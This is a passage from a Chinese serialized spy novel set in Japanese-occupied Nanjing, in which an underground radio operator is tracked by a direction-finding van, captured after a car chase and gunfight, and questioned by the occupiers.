黑木继续介绍陶天阙:“这位陶天阙陶老,也是帝国的朋友,他的名字想必在座的并不陌生,他是南京赤盟会会长,也是现南京自救会的会长……”陶天阙也起身,对大家作揖道:“能有这样的机会认识大家,老朽很高兴……” 黑木接下来介绍丁易白:“这位丁易白丁先生,现就职于秦淮区公所,是我的好朋友,对皇军忠心耿耿……”丁易白直起微胖的身躯,一脸谦卑道:“在下做得还不够,但今后一定更加努力……” 黑木又把老虎桥监狱的正副典狱长武内和陈炳松以及松机关的川上和渡边正式介绍给了大家认识,一众人在黑木的主持下握手寒暄,相互客套一番。 菜陆续上齐,黑木起身,举杯率先说道:“既然大家都认识了,我先敬一下刘将军,今晚这顿酒席主要就是为给刘将军接风,以前多有得罪,还望刘将军不要挂怀!” “黑木将军言重了,你我都是军人,性情自当爽直,这一切都是职责所系,我岂敢怪罪将军?不过既然误会尽释,我希望接下来在将军的带领下,为苦难的中国人民多谋福祉!”说着将杯中酒一饮而尽。 …… 夜色渐深,街上已没有了聒噪,沉寂的空气愈加显得清澈起来。 曲思秋把罗蔓安顿在二楼入睡,自己靠在床边闭目小憩,她在等牛玉高的到来,按照约定,牛玉高应该在夜里十一点左右来接她。 十点半过后,曲思秋再也坐不住了,她独自来到门外。明净的天空繁星闪闪,依稀可以看到淡淡的白云不时在深远的空中飘过,屋脊上堆积的皑皑白雪在微弱的星光下散发出阴冷的白光。 街上寥无人迹,依旧没有牛玉高的音讯。 曲思秋在夜色中伫立了一会儿,忽然觉着阵阵凉意,不由又回到房间,浑然想起罗蔓从家里给她带回了一件大衣,便从床头的一堆衣服中翻出,套在了身上。这是一件紫色呢子大衣,是她二十岁生日当天,她的哥哥曲思冬花了半个月的饷银买给她的生日礼物,因此曲思秋平时一直舍不得穿,只是在逢年过节才图个新气象。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!一年多没穿,这件大衣忽然显得有些紧身,曲思秋信步来到盥洗室,取下镜子前后照看一番,她看到镜中的自己曲线分明、凹凸有致时,整个人莫名其妙地欢欣鼓舞起来。 正当她陶醉其中之际,蓦然听到了轻轻地敲门声,她知道,一定是牛玉高如约而至。 曲思秋连忙扣起大衣纽扣。 果然是牛玉高,他整个人藏在阴影里,待曲思秋一开门,就压低声音道:“跟我来。” 曲思秋一出房间,一阵寒风袭来,她不由打了个寒颤,她整个人一激灵,忽然之间一种不祥之兆飘忽而至。曲思秋来不及多想,亦步亦趋跟在牛玉高身后,穿过七八间店铺,她看到了街角静静停着一辆轿车。 轿车里的气温明显高于室外,可以推断这辆车是刚刚熄火,牛玉高替曲思秋拉开车门,等到曲思秋上了车他才钻进驾驶室,一边发动汽车一边说道;“我已把电台放在后排座位上,你抓紧时间调试一下,后排座位上还有个纸盒子,里面有手电和密码本以及马上需要发出的电文,电文内容出自池老师,你调试好电台后,快速译出电文,以最快的速度发出!” 曲思秋“哦”了声。 “池老师反复交待,这段时间不太平,要求我们一定小心谨慎!” 曲思秋一边回应一边伸手摸索,果然摸到一件冰冷的器物,知道那是电台,手继续前探,又摸到了一只盒子,从盒子里掏出手电,拧了一下,以极快的速度照射了一下座位,记住了电台的按钮及所有物品的位置,便关上了手电。 慢慢的,曲思秋的眼睛已经适应了黑暗的环境,她蹲下身子,面对座位,把电台摆正,接着开始操作电台的按钮。 电台的开关一打开,立即发出嗡嗡的电流声。 曲思秋熟练地操作电台,不一会儿就调试完毕。 一切准备就绪后,曲思秋再次拧亮手电,从盒子中取出电文。电文誊写在一本小本子上,内容只有寥寥数语:林赤被捕,速速营救! 曲思秋又取出密码本,这是一本她再熟悉不过的密码,字迹工整娟秀,所有的内容均经由她之手,是她一字一画抄写在上面的。 电文的译出并不费太多功夫,曲思秋只是花了十来分钟,就找出了对应的编码,并把它标注在电文下方。接下来才是真正的难点,需要曲思秋利用这部电台,不间断微调电台旋钮,捕捉各式各样的电波频率,这个时候,要求曲思秋精神高度集中,不但要识别并记录该频率的波段,还必须以最快的速度敏锐地记录下对应该频率的信息编码,并熟悉运用手里的这套密码,如果对应频率的信息编码可以完整译出,且逻辑合理,则说明这是林赤组织体系内的电波频率,完全可以作为有效呼号用来传送信息。 池碧疆作为情报战线的老资格的战士,选择这样的时机捕捉电波频段,是有他的理由的,因为在日本治下的沦陷区,也只有这个时候空中的电磁环境是最纯净的,几乎没有什么干扰,此外也只有这个时段,电波监测相对松懈。池碧疆明白,无论多厉害的电讯人才,对于这样的任务,必须花上不低于一个小时的时间,方能有所斩获。 曲思秋完全沉浸在自己的世界中,她聚精会神地投入到电波的甄别之中。 轿车在深夜的南京城的大街小巷走走停停,所到之处,粗重的引擎声碾碎了夜的宁静。 经过一个多小时的紧张忙碌,曲思秋终于锁定了两个不同频段的电波。 这两个频段,已被曲思秋记录在案,其中一个频段,曲思秋译出的内容是:“法币正遭受灭顶之灾!”;而另一个频段内容是:“刘云雄已叛变!” 既然对照密码译出的内容逻辑严谨,毫无疑问,这两个频段都是重庆方面的电讯。 曲思秋心满意足地取出编译好的电文,她下意识地端正了身子,接下来,她将要把林赤被捕的消息通告这两家电台呼号。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第151章 夜网 正当曲思秋专注于收集夜空中往来的电波讯号时,一辆轿车正悄无声息地跟在她的车后。 这是一辆黑色的雪佛兰轿车,除了驾驶室,其它的车窗都蒙上了窗帘,车牌已被人为摘下。 自从曲思秋出了诊所、踏上了轿车的后座,这辆车就像是幽灵一样紧紧地咬着它不放。为了防止曲思秋他们发现,驾驶员不但关闭了车上的所有灯光,还尽量保持着四到五百米的距离,所以从中山中路的利民诊所始发后,牛玉高一直没有发现在他的车后,有一个尾巴。 显而易见,这辆车正是松机关的行动专车。 除了驾驶员外,车上还坐着两人,他们都隶属行动处,由已经投敌松机关的李泉带队。 渡边和黑木在老虎桥监狱审讯完林赤,俩人回到松机关,在听完跟踪池碧疆的队员汇报后,就决定另派一组人跟踪利民诊所的曲思秋医生,希望从她身上找出破绽。渡边及时将此项任务安排了下去,李泉听后自告奋勇请缨,渡边欣然同意。李泉领命后当即带着一名关系较近的队员奔赴利民诊所,他把车藏在与诊所平齐的一条巷子的巷口,卷起了一侧的车窗窗帘,静静地观察着诊所门前发生的一切。 故而傍晚前后,稻田的忽然出现着实让李泉心中嘀咕了很长时间,他看到电讯股的股长在店铺前晃悠了着,但苦于听不清他们的言语,如果不是在稻田的身后停着一辆侦听车,敏锐的李泉一定会把当成和诊所有所牵连的某方面的嫌疑人!好在稻田不久后就上了车扬长而去,但这一切还是让李泉心中荡起一丝疑虑。 夜很快黑了下来,利民诊所再无动静,这样的状况一直持续到夜里十一点左右,当李泉极度失望之际,他们忽然间就听到了由远及近的汽车发动机声。 这辆车居然是来接曲思秋的,且是在夜色如此深沉的时候。 曲思秋果然有问题。 李泉看到此情此景,不由心花怒放,他立功的机会到了! 李泉本以为跟着这辆车可以钓到大鱼,但是让李泉不解地是,这辆车竟然漫无目标,一直在走走停停,时而走大街,时而穿小巷,时而疾行,时而缓滞,弄得他们的司机连连抱怨双脚由于高度紧张而怠惰不堪。 勘察环境?接人?……李泉根本判断不出对方的意图,一开始他以为被对方发现,可后来发现并不是这么回事,那辆车丝毫没有准备逃遁的意思,完全是按照自己的节奏在行驶。这样的情形让他不知如何是好,到底要不要马上采取果断行动,将他们扣留,但这念头只是一闪而过,他不敢贸然下手,深怕打草惊蛇,如果没有铁证就将车上的人抓捕,恐怕会被黑木将军和渡边少佐苛责! 情况的改观出现在子夜时分,当时李泉正左右为难时,忽然发现在他的车后,两道刺眼的汽车灯光投射而来,紧接着一辆车裹夹着隆隆的引擎声快速向他逼近,在两车交汇之际,他看到了车顶上的长长的天线,突然就认出了那辆车。 这是一辆电台侦听车,和他的车同出一源,来自于松机关。 至此,李泉灵光一闪,忽然间就大悟了,原来这辆车正在从事和电讯有关的勾当,对方这是在利用移动的车辆进行发报。 不甘屈居人后的李泉一瞬间大声命令司机打开汽车大灯,然后高喝一声:追上去! …… 电讯股股长稻田自从离开了利民诊所后,带着他的行动组一直游荡在南京的街头。 这座被日本占领不久的城市,随着时间的推移,城市开始长治久安,往来空中的电波信号也越来越密集,除了进驻城市的各大军事机关的电台通讯外,一些日方的商社、民间团体以及涉外机构的电台讯号也开始在这座城市的空中出现,并呈繁华昌盛之势。 松机关在运营之初,曾有过硬性规定,但凡南京城的所有合法新增电台,必须报松机关备案,因而,现今的南京城的所有电台频号,包括日方大大小小的军事机关的讯号,松机关均了如指掌,这样的措施为侦查任何一部可疑电台大开了方便之门。 华灯初上,夜色阑珊,稻田勇坐在侦听车里开始指挥属下的侦听工作,只要某一个讯号一出现,他们立即对其进行识别,这样的工作开始很繁琐也很无聊,不过时间一久,他们就轻车驾熟,所有的工作进入了单调的程序化,这个时候,稻田勇就得以解放出来,他顿时显得百无聊赖起来。 不知不觉时间已临近深夜,夜空中依旧没有出现任何可疑的陌生讯号,正当稻田以为这一切只是黑木的自以为是和神经质时,一位属下忽然兴奋地向他报告,一个频号夹杂在纷繁的电波中出现了。 这是一个从未备案的陌生信号,功率尽管很小但持续不断,在纷杂的信号中显得生命力很强盛。稻田亲自抓起耳麦,当他确信这是一个新的频号后,立即让人采取精确跟踪。 这个信号立即被孤立起来,接下来所有的技术人员开始围绕它进行紧张的甄别和追踪,信号很快被连接到侦听车上的最新侦听设备上,显示屏上开始闪烁,一个亮点时隐时现,稻田让人采用启用精确过滤,那个跳跃的红点渐渐清晰起来,这时稻田发现这部追踪的电台竟然是移动的。 本小章还未完,请点击下一页继续阅读后面精彩内容!稻田在赞叹德意志的这套侦听设备技术强大的同时,整个人一下子兴奋起来,他一边联系松机关待命的行动组,一边开始向波源快速接近。 一张抓捕大网在弥漫的夜色中悄然撒下,而此时驾车行进的牛玉高却浑然不觉。 …… 一道刺眼的灯光骤然从曲思秋所处的车后窗投射进来,照射在曲思秋苍白而惊愕的脸庞上。 一时间,隆隆的汽车发动机声充斥在周围的空气中。 曲思秋双膝跪在汽车的后座地面上,整个人正沉浸在专心致志的收发工作之中,骤然出现的亮光让她心生诧异,抬头间,她忽然看到一辆大型汽车正向她疾驶而来,不仅如此,在那辆体型较大的车后,她突然又看到了另一辆车在煞那间打开了车大灯。 曲思秋心呼不妙,刚想提醒驾车的牛玉高,牛玉高此时也已经警觉,从驶离诊所至此,他一直保持着高度警戒,双目不时观望着后视镜,当他忽然发现车后从天而降的灯光后,他只是迟疑了片刻,便立即一脚重踩油门,身下的座驾粗鲁地晃动了一下,就愤怒地奔跑起来。 牛玉高心中打鼓一般砰砰直跳,直觉告诉他,他的车已经被人追踪,通过后视镜可以看出,追踪他的不是一辆车,而是两辆,尽管他的心中充满惊异,但一切不遑多思,也容不得他质疑其中的细节,他所要做的第一件事就是快速驶离险境,脱离渐渐逼近的追踪。 从事地下情报工作多年的牛玉高遇到这样的状况,并未一下子乱了方寸,他一面让曲思秋停止手头的工作并坐稳,一面将油门踩到最底。 眼见前方的轿车突然全力提高了车速,稻田勇知道对方已经发现了他,他不由得站起身子大声命令驾驶员奋力追击,侦听车的驾驶员自然知道怎么做,开始不顾一切地追了上去。 在他的侦听车后,李泉也发现了形势的改变,他同样喝令驾驶员奋力追击。 侦听车里的稻田勇并不知他的车后跟着的是李泉他们,这时有人提醒他车后有车,他转头张望,只以为这是那辆嫌疑发报车的僚车,是行使主车的保卫之责,心中顿感惶惶不安,但这更加迫使侦听车加快车速,并祈祷松机关行动处的救援力量快点出现,除此之外,他别无他策。 牛玉高一直被车后的两辆车紧咬不放,任凭他的车行驶多快,总是无法甩掉尾巴,他知道一场遭遇战已无法避免,双方迟早会短兵相接,想到这里,牛玉高一手扶着方向盘,一手从腰间拔出手枪,打开了手枪保险,递给了曲思秋。 “会开枪吗?” 曲思秋无声地点头,接过手枪,连忙把车窗摇了下来。 牛玉高探身从副驾驶的柜子中又掏出一把手枪,提高声音对曲思秋道:“准备战斗!”牛玉高的声音冷静而坚毅,一下子让曲思秋心定了不少。 曲思秋三下五除二把电台收进箱子,并把座位上的手抄密码本也放了进去,然后将身子依靠在车门上,准备随时应付对方的兵戎相见。 车从清凉门拐上虎踞路一路向北疾行,接着右拐进了北京路,不一会儿又上了西康路,一路驶来,双方若即若离,牛玉高已经完全判断对方是敌非友,照这样下去,迟早会落入敌手。 牛玉高知道这不是长久之计,决定以暴制暴,决心一下,立即沉声令道:“打!”说完探手伸出窗外,手腕反转,朝着车后就是一枪。 曲思秋也把手伸出窗外,她无需驾车,有充足的时间可以加以瞄准。这是她首次实战,心狂跳不止,手腕微微有些发抖,额头上已汗水淋淋。 她稍稍瞄准,毅然扣响了扳机。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第152章 落入魔掌 与此同时,松机关行动处的数名随车队员见此情形,立即拔枪还击,充当起反攻的急先锋。一时间枪声大作。 牛玉高的第一枪十分随手,根本就没有瞄准,只是大抵上估计了可能的方向,射出去的子弹离目标相差甚远,但这一枪却起到震慑作用,侦听车的司机本能低头,脚无意间松开了油门,车子速度立即迟缓了下来。而曲思秋紧随其后的这一枪,却是她生平最庄重地一枪,尽管车子有些颠簸,但由于双方距离较近,她的瞄准还是起了效果,呼啸出膛的子弹不偏不倚击中了侦听车的挡风玻璃,脆响之后,挡风玻璃马上裂了一条缝,司机这时正巧抬头,第二枪的枪声转瞬即至,几乎同一时间,他看到子弹击破了玻璃,心中大惊,脑袋毫不犹豫侧向一方,如此大幅度的动作不知不觉带动了方向盘,使得侦听车的前行方向很快偏离原先轨道,司机情急之下赶紧制动刹车,整个车辆几乎倾斜着横亘在马路上,巨大的惯性使得车轮摩擦地面发出刺耳的声音。 李泉的雪佛兰轿车这个时候是紧靠在侦听车后面,这突如其来的变故让司机根本没有时间反应,雪佛兰的车头立即拦腰撞在了侦听车的车身上。 侦听车上的行动处的队员正把头趴在车窗上在做瞄准状,车身倏然的剧烈震荡让他们一下子失去了准星,子弹直接射向了天空,他们回头探视,终于有眼尖的队员发现了后车上的李泉。双方来不及打招呼,也来不及抱怨,各自把车身分离,后一辆雪佛兰轿车车头虽然受损严重,司机连忙重新打火,发动机委屈地低吟了几下,居然奇迹般被打着,显然这辆皮实的雪佛兰的发动机并无大碍。 牛玉高右手搭在方向盘上,左手伸出窗外,再次扣响扳机,从后视镜中他已然发现跟踪的车辆和自己的距离在逐渐扩大,他并不知道发生了什么,只知道这是一个天赐良机,惊喜之余他恨不得把脚下的油门踩到贴近车的地板上。 眼见双方距离越拉越远,牛玉高松了一口气,正暗自庆幸之际,忽然听到身后的曲思秋惶急说道:“快看,又来了一辆车!” 牛玉高果然看到前方正迎面快速驶来一辆轿车,这辆车离自己尚还有将近百米之距,但它的行迹显得异常诡异,开始速度奇快,但不一会就紧急刹车,把车横在马路中央,远远地阻住了他的去路!牛玉高心中一沉,一切还来不及反应,从那辆车上忽然发出了急骤地枪响。 子弹在牛玉高的车周围呼啸而过,有数颗子弹击中了车身。 那辆车明显是冲自己而来。 余光掠过后视镜,后面的车灯又出现了,并在不断缩短距离!牛玉高知道追踪的车辆又逼近了。心在渐渐沉沦,心在逐渐绝望,牛玉高不假思索,开始抬枪反击。他的车此时已处于双方的夹击中,已没有退路,也没有出路,只有勇往直前,拼个鱼死网破! “拼了!”从牛玉高的喉咙里迸出几个字。 曲思秋也知道等待着她的必将是噩梦,奇怪的是她此刻却异常沉静,并无任何慌乱之色,只是配合着牛玉高向对面的车辆一通乱射。 那一刻,曲思秋的脑际中思想恣意驰骋,她想到了死,想到了父母,想到了哥哥,也想到了如今深陷牢笼、生死未卜的林赤!她已无惧于任何等待她的结局,她唯一所要做的,就是坦然面对即将而至的厄运。 随着双方之间的距离越来越近,枪声也越来越激烈,对方在尽全力逼停这辆车,但牛玉高丝毫没有停车的意思,反而更加提高了车速。 在双方间距不到二十米时,一颗子弹击中了曲思秋所乘的轿车的挡风玻璃上,玻璃发出了爆裂声稀里哗啦碎了一地,紧接着又一颗子弹击中了牛玉高的脑门,牛玉高一声未哼就魂归异乡。疾驰的车子立即失去了控制,向马路的一棵光秃秃的梧桐树上撞去,巨大的惯性掀掉了曲思秋手中的枪支,她的身子在车里被弹起,脑门撞在了车顶的铁皮上,这一致命的重击使得她即刻昏厥过去…… 不知过了多久,曲思秋悠悠醒来,数辆汽车的大灯光聚集在她的座驾上,刺得她睁不开眼睛,后车门被人拉开,两个男人把她从车厢里架起,她的脑袋依旧在嗡嗡作响,目光所及之处,她看到驾驶室的牛玉高脑袋偏向一侧,脸上血迹汩汩,已暴毙身亡。 曲思秋此时闪过的第一个念头就是她被敌人俘虏了,第二个念头就是她的电台和那本手抄密码本被敌人截获了,第三个念头是可能她一辈子都见不到自己的亲人了,这个念头刚刚闪过,曲思秋的心中又接踵而至第四个念头,这想法有些匪夷所思,但那一瞬间却让曲思秋心安不少。 她想,这一次或许真能见上林赤一面了。 能够和自己心爱的人一起共赴黄泉,倒也不失为一个较为理想的选择。 这时她看到了一张熟悉的脸,是那位叫做李泉的中国人。接着他看到了傍晚前后光顾她的诊所的那位日本人稻田勇。 本小章还未完,请点击下一页继续阅读后面精彩内容!李泉的眼神并不诧异,他此时脸上堆满笑意,那是胜利者的微笑;而那位在她诊所找人的日本人看到她后,却满脸惊愕,一张嘴半天没有合拢。 李泉乘稻田愣住之际,匆忙把脑袋探进车内,借助车灯光,他第一眼就看到后座椅上躺着的箱子,他在手中稍微掂了掂分量,便知道里面一定装着的是电台。 李泉提起箱子,正欲返身离去,醒悟后的稻田连忙挡住了他的去路,一把拽住他手里的箱子,怒道:“放手!” 李泉哪里愿意放手,这部缴获的电台在谁手里那是意义非凡,如果由自己控制并亲手上交,则意味着自己一方是这件案子的主导者,立功自然铁板钉钉,除此之外,一笔数目不菲的丰厚赏金也会等着他们。 日本人对“有钱能使鬼推磨”这句中国古话有着更深刻的理解,从他们的侵略战争发动伊始,便将这样的赏金政策运用到极致,无论功绩大小,均论功行赏,事实证明,这是一个亘古不变的万能之策,百试不爽。 稻田自然更加清楚这其中的利害关系,他比李泉更需要这笔钱,赌鬼父亲欠下的巨额债务迫切需要他来偿还,尽管他有一件貌似奇世异宝的物件,但离变现还遥遥无期,所以这样的大好机会他又岂能让一个谄媚的中国人横刀夺去! 稻田加大了抢夺的力度,嘴里骂骂咧咧起来,“你这个中国猪,皇军到手的东西你也敢抢!” 李泉心中委屈,自己辛辛苦苦追踪了大半天的成果眼看就要化为乌有,又如何甘心!好在稻田勇只是个上尉军衔,李泉并不把他放在眼里,便据理力争道:“我从中午起就开始跟踪她,这是我们最先发现的!” 稻田一直瞧不起没有气节的李泉,也从未正眼看过他,见他依旧喋喋不休,气不打一处来,抬手就是一记耳光。 “八嘎!” 李泉没料到对方竟会打他,一下子有些发蒙,脸立时感到火辣辣的疼,耳边是电讯股的那帮日本人由衷的哄笑,忽然间一股血气上涌,挥手也毫不犹豫还击了一记耳光。 接下来发生的一切自然是李泉吃大亏,所有的日本人立即奋勇上前,将李泉摔倒,稻田亲自骑在李泉身上,拳脚雨点般的击在李泉的身上。 和稻田的梁子总算结下来了,李泉好半天才从地上爬起,看着稻田勇一众人已经押着曲思秋扬长而去,李泉愤懑地想:总有一天,要报这胯下之辱。 和李泉一组的也是一名中国人,平时和李泉比较要好,但李泉受辱时他只是袖手旁观,见到日本人走后,才上前拉起李泉,一半安慰一半开导道:“这帮目中无人的小鬼子,实在狂妄得很,必定不得好死!” 李泉拂开他的手,一言未发,几乎是跑着上了车,对司机闷声道:“我们回松机关!” 司机这时看到李泉的嘴角有血迹,便提醒道:“你把嘴角擦擦,你流血了……” 李泉对着后视镜看了看,并没有动手,而是对司机继续道:“快点开车吧!” 李泉一行人回到松机关时,憩庐的一楼灯火通明。 侦听车就停在门口,稻田勇已经带着抓获的曲思秋先回到了松机关。李泉看到川上中佐的办公室亮着灯,显然,稻田勇正在向他报告成果。 妒意夹杂着愤怒,李泉埋头回到行动处,打开灯,他在办公室里一边踱步一边思索着,好一会儿他对站立一旁的队友吩咐道:“出了这样的事,你还是去通知一下渡边小姐吧,我必须把今晚的情况向她汇报!” 队友有些迟疑,半天才诺诺道:“渡边少佐应该睡觉了,打搅她不好吧……” “什么屁话!如果我们不汇报,她责怪下来,你我担待得起吗?!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第153章 箭已离弦 睡眼惺忪的渡边被人从憩庐后面的军官宿舍叫醒后,连脸都没来得及洗,匆匆跑回松机关。 一路上,前来报告的下属大致把所发生事情的经过说与渡边听了,渡边不置可否,而是加快了脚步。 坐在办公室的李泉听到了门外的脚步声,知道渡边到了,连忙把身子移坐到灯光下,掏出手绢,仰起脑袋,擦拭着脸上的血迹。 渡边看到李泉一身泥土,脸上还沾有血迹,果然惊呼道:“李桑,怎么啦?发生什么事了?” 李泉赶紧站直身子,一脸哀怨,迟疑片刻委屈说道:“我和小高按您的吩咐,从下午起埋伏在利民诊所附近,一直监视着诊所的一举一动,入夜时分,那位叫做曲思秋的医生偷偷上了一辆车,我和小高就远远跟着她,后来发现她是在车上发报,就实施了抓捕,这时意外发现电讯股的侦听车也跟在后面,他们不但不让我们碰电台,那位稻田勇竟然还动手打了我……” 一旁的小高迫不及待补充道:“渡边小姐,这次你可要给我们做主,这件案子明明是我们参与跟踪的,怎么说功劳也是我们行动处的,可到头来居然被电讯股的那帮人摘了桃子!” 渡边已听出了大概,她也知道在抓获诊所的曲医生这件事上,关乎他们行动处的荣誉,如果轻易拱手想让,恐属下不服,但作为她这个层次的负责人之一,又必须顾全全局,心中尽管不满,但嘴里却道:“这件事我心里有数,至于二位的功劳,自然会记上一笔的,待明天黑木将军上班后,我会替你们反映!” 既然渡边如此表态,李泉和小高也不便说什么,李泉也知道,渡边作为货真价实的日本人,她肯定是庇护同类的,他根本不指望她会给自己什么说法,至于自己抱怨几句,也是为了让渡边明白在抓捕曲思秋此事上,他是出了力的。 渡边见安抚有效,思绪立即回到了现实中,她此时很想见一见林赤的这位女朋友如今的模样,便问道:“那位曲医生现在关押何处?” 李泉忙道:“被他们带回来了,此时应该关在地下室的拘留室里。” “李桑,你跟我去看看!”渡边说完又对小高说道:“高桑,你辛苦了,先回去休息吧!” 渡边带着李泉先来到川上麻衣的办公室。办公室里稻田坐在川上的办公桌前,正在和川上阔谈侦听车上的这套德意志的侦听设备如何了得,见到未敲门就破门而入的渡边,稻田立即起身让座,他的目光落在渡边身后的李泉身上,马上怒目相向,李泉有主人在场,并不惧他,从鼻孔里挤出几声哼哼之声,不屑地瞟了他一眼。 稻田一激动,捋了捋衣袖,又想上前教训一下不知天高地厚的中国人,渡边见状厉声喝道:“够了!” 见到稻田老老实实坐下了,渡边心中不禁心花怒放,转头对川上道:“中佐,今晚的事你汇报将军了没有?” “太晚了,我想不必要打扰他,再说,将军今晚应该喝多了……” “嫌犯就交接给我们行动处吧,接下来的事我来处理!” “这……总要请示一下黑木将军吧……”川上权衡左右,又改口道:“那好,你打算怎么处理?” “从安全的角度考虑,我觉得嫌犯应该尽快转移到老虎桥监狱!”渡边脱口道。 川上不再说什么,渡边是机关长黑木将军的红人,这一点,川上知道轻重,再说,川上也根本不想插手这种事情,多一事不如少一事,想到这里,川上从抽屉里取出交接单,让渡边在上面签了字。 “这个箱子里是敌人的电台,你也一并带走!”川上指了指桌上的箱子对渡边说道。 渡边和李泉一前一后来到地下室,一间独立而封闭的房间里,曲思秋坐在一张木板床上,渡边进来的时候,她抬头看了渡边一眼。 二人都相互认识,且有一定程度的了解,曲思秋对这位年轻貌美的日本女人已有了刻骨铭心的认知,并深谙她的毒辣,而渡边对曲思秋的了解,却要少许多,她只知道她是利民诊所的医生,还是林赤的女朋友,除此之外,知之甚少。 “曲思秋曲医生,原应天教会医院的外科医生……”渡边咳嗽几声,“怎么样?没想到我们会在这里见面吧?” 曲思秋并不回应,把脑袋别到一边。 渡边把她的头扳了过来,弯下身子仔细端详着她的脸庞,啧啧道:“小模样还挺俊的,你们俩人倒是很般配!” 曲思秋被她捏着脸颊很别扭,抬起戴着手铐的双手欲把她的手打回去,渡边轻松躲过,调整了一下身体的方向,站在曲思秋的对面,笑吟吟道:“想他了吧?” “我听不懂你在说什么!” “哈哈,还装?你不是有个男朋友?他是叫林赤?他就被我们关在老虎桥监狱!”渡边顿了顿:“你想不想知道他现在怎么样啦?” “我和他不熟!”曲思秋面无表情。 “哦?”渡边微微一笑,“连他的生死都不关心?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这句话还是牵动了曲思秋的心,她马上关切道:“你们把他怎么啦?”说完觉得语气表现得太急切,连忙换成淡淡的口气道:“他只是我的一个病人……” 渡边示意身后的李泉把手中的箱子放在桌上,李泉照办。渡边打开箱子,一部小型电台赫然出现在她的视线里,“呵呵,干电池电台,携带方便,便于随时发报!”说完渡边翻了翻箱子,目光盯在那本密码本上,随手打开密码本,转头对曲思秋又道:“听说你还会发报?这本密码是你们组织的?你是重庆还是延安方面的?” “你这算是在审讯我吗?” “当然,你是我的犯人!” “很抱歉,我太累了,不想回答你的任何一个问题!”曲思秋闭上了眼睛。 渡边也不生气,道:“也好,你今晚好好休息一下,接下来有你受的!”说完撇了撇嘴对李泉道:“你把箱子收好,明早联系一下武内典狱长,让他准备一间单独监室,尽快把她收治到老虎桥监狱去!” …… 这一夜注定是一个不安分的夜晚,就在曲思秋和牛玉高与追踪他们的敌人展开激烈的枪战的时候,锤子从月息路二十一号的地下密电室潜回到月息路的二十九号的一间普通民房里,这间房子是锤子刚刚打理出来的,与二十一号的地下密室仅仅相隔几间房子,一方面是用来供他们生活起居之用,另一方面也是锤子新建的联络点,这样的选择是基于密电室的安全考虑,也是方便他联络和收集各方面的情报,所以在这个联络点建立伊始,由于锤子的南京情报站的站长身份,这样一间不起眼的民房很快众望所归成为了南京城的军统指挥中枢。 这一年新年刚过,原来的复兴社被正式命名为军统局,复兴社的特务处戴处长不出意外地成了军统局的老板,意气风发的他开始全面领导各地的军统组织的对敌斗争。作为蒋校长的心腹和红人的他,最为擅长的就是暗杀与破坏,这个被广泛复制的手段尤其就沦陷区而言,是整个格局中的重中之重! 锤子返回二十九号之前,一直和钉子待在密电室里,自从卧龙计划启动后,他已身不由己立即被卷入了林赤制定的这项庞大而大胆的计划的旋涡之中,所有的后继和与之相配套的工作立即被带入一个快速行进的轨道,一刻都不容耽搁,也不可出现任何纰漏,否则极有可能功亏一篑。钉子旧伤未愈,只能静养,而董德奎处长单独负责大华百货店的联络点以及他属下的行动队,也无法分身,由于卧龙计划是当下南京军统站的核心机密,只有为数很少的人知情,其相匹配的工作是不能让他人越俎代庖,只能自己亲力亲为,故而所有的重担都落在了他一人身上,这让他感到有些心力交瘁、疲惫不堪。 入夜后不久,董德奎通过特有的通道传达给他一个重大情报,这个情报是由匕首通过大华百货店递进来的,居然是关于原国军少将旅长刘云雄的,情报中说,刘云雄已经投敌了! 南京站的电台按照指令目前只能和上海的上级电台单线联系,双方相互约定,每天的通联只有三个时段,分别是晚上的十一点和凌晨一点以及四点,这三个时段,双方都会准时打开电台收发对方的讯号。 接到关于刘云雄投敌的情报,锤子想了很久,还是决定把它通报给远在上海的上级电台,他一直在密电室待到夜里十一点,才让人打开电台,发出了关于刘云雄已叛变的信息。这条消息刚发出,钉子发现锤子一脸倦意,便劝他早点回去休息,有自己守着电台就行了。 锤子还是采纳了钉子的建议决定今夜早点睡觉,因为第二天一大早还有更重要的事情要办,临别时,他想到了一件事,便叮嘱钉子将电台多打开一会,说不定蜂鸟会有进一步的指示。 交待完一切,锤子才回到月息路二十九号,稍稍洗漱,他脱衣上床,才刚刚躺下还没有合眼,忽然响起了敲门声。。 两短一长,重复了两遍,锤子知道是自己人,便连忙跳下床。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第154章 黑木的好运来了 来人是钉子,门刚刚打开,钉子就闪进来了,尽管他身上有伤,但此时却显得矫健无比。 待锤子掩上房门,钉子就急切说道:“站长,发现了一件蹊跷的事!” 二人来到卧室的灯光下,锤子给钉子拉出一张凳子,示意钉子坐下,钉子这时才捂着受伤的胸口艰难地坐了下来。 “收发报的小吴刚才向我报告,他发现了一部可疑电台,它不但掌握了我们的呼号,还用的是我们的暗语。” 锤子听到这里,果然很吃惊,忙问:“这部电台以前出现过吗?” “没有,这个频率从没现身过,也不是我们的上级电台。” “内容译出来了?” “译出来了,八个字:林赤被捕,速速营救!” “哦?是关于林赤被捕的?” 钉子迫不及待询问道:“站长你说,在南京城除了我们是不是还有一组人存在?” 锤子盯着钉子看了一眼,摇了摇头,“不会的!这么大的事上面不会瞒我们的,再说上次蜂鸟同志潜进南京,也没听他说起过啊!” “这就奇怪了,对方分明掌握了我们的密码,不是我们自己人又是何方神圣?” “是啊,我也百思不得其解,对方竟然知道林赤其人,而且还得知他已被捕,并要求我们营救……”锤子蹙眉思索着,“从电报内容可以看出,他们对林赤不但熟悉,还很关心他!” “他们为什么这么关心林赤的安危?”钉子顺着锤子的思路呐呐道。 短暂的沉默后,锤子又道:“是不是我们的上级电台更换了频号?” “不能吧?上海的那部电台就在刚刚还和我们通联过,它也没提这茬啊。” “这么说来,确实蹊跷!”锤子也显得一脸茫然。 见锤子不吱声,钉子道:“要是知道这部电台的方位就好了……” “我猜,它一定来自于同一座城市,你想,林赤被捕的事是发生在昨天夜里,我也是今早去悦颜照相馆才得以知道……这样的消息的传播不会发散太远,毕竟林赤不是什么大人物。”锤子依旧沉浸在自己的思虑之中,片刻后,锤子从床沿站起,拍了拍钉子的肩膀说道:“好了,你也别多想了,早点回去休息吧!一切按计划进行!” …… 浓睡不消残酒。 昨晚绿柳居的酒宴,黑木的的确确喝多了,多到了酩酊大醉的程度。 